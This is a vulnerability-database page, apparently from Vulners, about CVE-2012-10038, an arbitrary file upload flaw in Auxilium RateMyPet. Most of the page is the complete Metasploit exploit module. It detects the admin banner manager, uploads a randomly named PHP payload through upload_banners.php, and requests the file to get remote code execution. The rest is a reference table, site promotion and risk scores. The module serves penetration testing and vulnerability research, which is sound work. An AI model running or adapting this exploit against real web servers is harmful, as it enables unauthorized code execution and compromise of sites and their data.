Auxilium RateMyPet Arbitrary File Upload Vulnerability
🗓️ 14 Sep 2012 00:00:00Reported by DaOne, sinn3r <[email protected]>Type
metasploit🔗 www.rapid7.com👁 16 Views
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2012-10038 | 29 May 201815:50 | – | circl | |
| Auxilium RateMyPet 安全漏洞 | 11 Aug 202500:00 | – | cnnvd | |
| CVE-2012-10038 | 11 Aug 202514:54 | – | cve | |
| CVE-2012-10038 Auxilium RateMyPet Arbitrary File Upload RCE | 11 Aug 202514:54 | – | cvelist | |
| EUVD-2012-6597 | 7 Oct 202500:30 | – | euvd | |
| CVE-2012-10038 | 11 Aug 202515:15 | – | nvd | |
| PT-2025-32551 · Unknown · Auxilium Ratemypet | 11 Aug 202500:00 | – | ptsecurity | |
| CVE-2012-10038 | 13 Aug 202515:28 | – | redhatcve | |
| CVE-2012-10038 Auxilium RateMyPet Arbitrary File Upload RCE | 11 Aug 202514:54 | – | vulnrichment |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Auxilium RateMyPet Arbitrary File Upload Vulnerability',
'Description' => %q{
This module exploits a vulnerability found in Auxilium RateMyPet's. The site
banner uploading feature can be abused to upload an arbitrary file to the web
server, which is accessible in the 'banner' directory, thus allowing remote code
execution.
},
'License' => MSF_LICENSE,
'Author' => [
'DaOne', # Vulnerability discovery
'sinn3r' # Metasploit
],
'References' => [
['CVE', '2012-10038'],
['OSVDB', '85554'],
['EDB', '21329']
],
'Payload' => {
'BadChars' => "\x00"
},
'Targets' => [
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
],
'Privileged' => false,
'DisclosureDate' => '2012-09-14',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base directory to the application', '/Auxiliumpetratepro/'])
]
)
end
def check
uri = target_uri.path
base = File.dirname("#{uri}.")
res = send_request_raw({
'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php")
})
if res and res.body =~ %r{<title>Pet Rate Admin - Banner Manager</title>}
return Exploit::CheckCode::Detected('The target service was detected')
else
return Exploit::CheckCode::Safe('The target is not vulnerable')
end
end
def upload_exec(base, php_fname, p)
data = Rex::MIME::Message.new
data.add_part('http://', nil, nil, 'form-data; name="burl"')
data.add_part('', nil, nil, 'form-data; name="alt"')
data.add_part(p, 'text/plain', nil, "form-data; name=\"userfile\"; filename=\"#{php_fname}\"")
data.add_part(' Upload', nil, nil, 'form-data; name="submitok"')
post_data = data.to_s
print_status("Uploading payload (#{p.length} bytes)...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php"),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})
if !res
print_error('No response from host')
return
end
print_status("Requesting '#{php_fname}'...")
res = send_request_raw({ 'uri' => normalize_uri("#{base}/banners/#{php_fname}") })
if res and res.code == 404
print_error("Upload unsuccessful: #{res.code}")
return
end
handler
end
def exploit
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1, 1] != '/'
base = File.dirname("#{uri}.")
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
p = get_write_exec_payload(unlink_self: true)
upload_exec(base, php_fname, p)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Sep 2012 00:00Current
7.6High risk
Vulners AI Score7.6
CVSS 49.3
EPSS0.01146
SSVC